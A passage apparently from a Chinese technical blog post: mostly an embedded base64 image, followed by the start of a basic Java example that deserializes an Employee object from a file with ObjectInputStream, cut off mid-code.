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" alt="" />
0x3: 反序列化对象代码示例
package test; import java.io.*; public class DeserializeDemo
{
public static void main(String[] args)
{
Employee e = null;
try
{
String savePath = "C:/employee.ser";
FileInputStream fileIn = new FileInputStream(savePath);
ObjectInputStream in = new ObjectInputStream(fileIn);
e = (Employee) in.readObject();
in.close();
fileIn.close();
}
catch(ClassNotFoundException c)
{
System.out.println("Employee class not found");
c.printStackTrace();
return;
}
